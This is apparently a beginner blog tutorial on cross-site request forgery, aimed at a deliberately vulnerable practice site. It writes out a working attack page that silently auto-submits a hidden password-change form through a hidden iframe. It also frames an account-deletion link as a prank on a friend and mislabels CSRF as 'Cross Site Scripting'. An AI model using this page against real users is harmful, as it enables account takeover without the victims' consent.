Welcome folks! Today we are going to learn the basics of Cross Site Scripting (CSRF). Lets begin!
Basics of CSRF
If we search for “ultimate hackers” on google then the URL for the result page would be
As you can see, our query i.e. Ultimate Hackers is present in the URL. Its an example of a GET HTTP request.
GET requests are used when we need to retrieve some data from a web server, or you can say when we have to “get” some data through HTTP, we use a GET request.
Now lets search something on a different website, I searched for “science” under the category “chemical sciences”
Wait! where’s the query we entered? Why its not in the URL as it was in the case of Google search?
Well this website doesn’t use GET method, it uses POST method instead. When the web server needs to store the data entered by the user, it uses a POST request.
I have a plugin named HackBar which lets us see the POST request data and here’s how it looks like
As you can see the query is present in the post data.
So basically, GET is used when user needs to get something from the server (or server needs to send something) while POST is used when server needs to store user’s input.
Now lets say my friend has an account on example.com and I want to play a prank on him. So I made an account on that website to do some tests and found that when a user requests to delete his account, the browser makes this request
So If I send him this link and he clicks on it then his account will be deleted. Cool huh?
But when I visit this link then my account gets deleted, when my friend visits it then his account gets deleted. How? Answer is simple, Cookies!
A cookie is piece of data stored in the browser which helps a website to identify the user. So the website knows whether its me, my friend or someone else by checking the cookie.
Now as you know the basics lets get our hands dirty with CSRF.
CSRF is an attack where the attacker makes a victim to perform unwanted actions in a web app where the victim is currently authenticated.
So we are using his cookies or more precisely his “session” to perform actions on that website and this is what we call CSRF.
Here we have a password reset page and awkwardly the old password is filled automatically in the form fields.
This is the source code of this form:
<form action="/Account/ChangePassword" class="form-horizontal" method="post"><div class="validation-summary-valid" data-valmsg-summary="true"><ul><li style="display:none"></li> </ul></div> <fieldset> <legend>Change password.</legend> <div class="control-group"> <label class="control-label" for="NewPassword">New password</label> <div class="controls"> <input id="NewPassword" name="NewPassword" type="password" value="lol" /> </div> </div> <div class="control-group"> <label class="control-label" for="ConfirmPassword">Confirm new password</label> <div class="controls"> <input id="ConfirmPassword" name="ConfirmPassword" type="password" value="lol" /> </div> </div> <div class="control-group"> <div class="controls"> <input type="submit" value="Change password" class="btn" /> </div> </div> </fieldset> </form>
As you can see, the current password is lol and we are going to change it with CSRF.
As we did in the previous “GET” example, we want the victim to perform an action when he visits our link. So we will create a new webpage which can be used to exploit CSRF vulnerability.
I will use the code from this webpage in our evil webpage with some changes. Here’s our webpage:
and here’s its source code with some modifications,
<!Doctype html> <html> <head><title>C5RF Demo</title> </head> <body onload="document.csrfForm.submit()"> <h1>You just got pawned by D3V</h1> <form action="https://hackyourselffirst.troyhunt.com/Account/ChangePassword" class="form-horizontal" method="post" name="csrfForm" target="evilframe"> <input type="hidden" id="NewPassword" name="NewPassword" type="password" value="hacked" /> <input type="hidden" id="ConfirmPassword" name="ConfirmPassword" type="password" value="hacked" /> <input type="hidden" value="Change password" class="btn" /> </form><iframe name="evilframe" style="display: none;"></iframe> </body></html>
If you are not familiar with web developing (you should be) then here’s how it works:
- form: I kept the form as same as the original form. It submits the form data i.e. password to https://hackyourselffirst.troyhunt.com/Account/ChangePassword and then loads the target i.e. evilframe.
- input: Input tag is used to get input from the user. This tag is used create input boxes, but I made both the fields hidden by setting the type attribute to hidden. Now the user won’t be able to see them. I changed the value of value attribute to hacked which means his password will change to hacked.
- iframe: In the original webpage, when the user clicks on the Change Password button, a new page loads but we don’t want that to happen. So we changed the target of the form to an iframe. I made this iframe hidden by using the style attribute.
Putting it together
So when the user visits the webpage, the onload event handler automatically submits the password reset form and loads an iframe which is hidden. And I as explained earlier, all this happens by using user’s session.
Hmm CSRF is a one click and boom kind of attack. Its interesting!
But what makes a website vulnerable to CSRF? Well to know that you will need to learn how to prevent CSRF and we will do that in next part of CSRF series.
Note: hackyourselffirst.troyhunt.com is dummy website to practice web hacking so don’t think I did something illegal.
Thats all folks! Thanks for reading. Leave a comment to show your support or to ask a question.
Keep learning! Keep hacking!
Also Read: WAF, IPS and IDS : Working Explained